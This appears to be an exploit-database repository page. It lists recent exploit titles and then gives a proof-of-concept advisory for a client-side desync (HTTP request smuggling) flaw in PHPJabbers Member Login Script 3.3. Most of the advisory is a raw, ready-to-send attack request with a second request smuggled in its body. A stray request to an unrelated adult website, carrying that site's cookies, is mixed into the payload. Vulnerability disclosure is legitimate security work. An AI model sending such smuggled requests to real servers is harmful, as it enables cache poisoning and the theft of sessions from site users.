4e246a01fb
18 changes to exploits/shellcodes/ghdb
DLINK DPH-400SE - Exposure of Sensitive Information
FileMage Gateway 1.10.9 - Local File Inclusion
Academy LMS 6.1 - Arbitrary File Upload
AdminLTE PiHole 5.18 - Broken Access Control
Blood Donor Management System v1.0 - Stored XSS
Bus Reservation System 1.1 - Multiple-SQLi
Credit Lite 1.5.4 - SQL Injection
CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
CSZ CMS 1.3.0 - Stored Cross-Site Scripting (Plugin 'Gallery')
Hyip Rio 2.1 - Arbitrary File Upload
Member Login Script 3.3 - Client-side desync
SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
Freefloat FTP Server 1.0 - 'PWD' Remote Buffer Overflow
Kingo ROOT 1.5.8 - Unquoted Service Path
NVClient v5.0 - Stack Buffer Overflow (DoS)
Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
88 lines
No EOL
3 KiB
Text
88 lines
No EOL
3 KiB
Text
## Title: Member Login Script 3.3 - Client-side desync
|
|
## Author: nu11secur1ty
|
|
## Date: 08/25/2023
|
|
## Vendor: https://www.phpjabbers.com/
|
|
## Reference: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
|
|
|
|
## Description:
|
|
The server appears to be vulnerable to client-side desync attacks. A
|
|
POST request was sent to the path '/1692959852_473/index.php' with a
|
|
second request sent as the body. The server ignored the Content-Length
|
|
header and did not close the connection, leading to the smuggled
|
|
request being interpreted as the next request.
|
|
|
|
STATUS: HIGH Vulnerability
|
|
|
|
[+]Exploit:
|
|
```
|
|
POST /1692959852_473/index.php?controller=pjFront&action=pjActionLoadCss
|
|
HTTP/1.1
|
|
Host: demo.phpjabbers.com
|
|
Accept-Encoding: gzip, deflate
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
|
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97
|
|
Safari/537.36
|
|
Connection: keep-alive
|
|
Cache-Control: max-age=0
|
|
Cookie: _ga=GA1.2.2069938240.1692907228;
|
|
_gid=GA1.2.1275975650.1692907228; _gat=1;
|
|
_fbp=fb.1.1692907228280.366290059;
|
|
_ga_NME5VTTGTT=GS1.2.1692957291.2.1.1692957719.60.0.0;
|
|
YellowPages=slk3eokcgmdf0r3t7c020quv35;
|
|
pjd=g0i8fch5jkebraaaf2812afvb5; pjd_1692957219_259=1
|
|
Upgrade-Insecure-Requests: 1
|
|
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
|
|
Sec-CH-UA-Platform: Windows
|
|
Sec-CH-UA-Mobile: ?0
|
|
Content-Length: 1190
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
GET /robots.txt HTTP/1.1
|
|
Host: demo.phpjabbers.com
|
|
Accept-Encoding: gzip, deflate
|
|
Accept: */*
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
|
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97
|
|
Safari/537.36
|
|
Connection: keep-alive
|
|
Cache-Control: max-age=0
|
|
|
|
GET /robots.txt HTTP/2
|
|
Host: www.pornhub.com
|
|
Cookie: platform=pc; ss=405039333413129808;
|
|
fg_0d2ec4cbd943df07ec161982a603817e=60256.100000;
|
|
fg_9951ce1ac4434b4ac312a1334fa77d82=6902.100000
|
|
Cache-Control: max-age=0
|
|
Sec-Ch-Ua:
|
|
Sec-Ch-Ua-Mobile: ?0
|
|
Sec-Ch-Ua-Full-Version: ""
|
|
Sec-Ch-Ua-Arch: ""
|
|
Sec-Ch-Ua-Platform: ""
|
|
Sec-Ch-Ua-Platform-Version: ""
|
|
Sec-Ch-Ua-Model: ""
|
|
Sec-Ch-Ua-Full-Version-List:
|
|
Upgrade-Insecure-Requests: 1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
|
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97
|
|
Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|
Sec-Fetch-Site: none
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
|
|
```
|
|
|
|
## Reproduce:
|
|
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Member-Login-Script-3.3)
|
|
|
|
## Proof and Exploit:
|
|
[href](https://www.nu11secur1ty.com/2023/08/member-login-script-33-client-side.html)
|
|
|
|
## Time spend:
|
|
00:35:00 |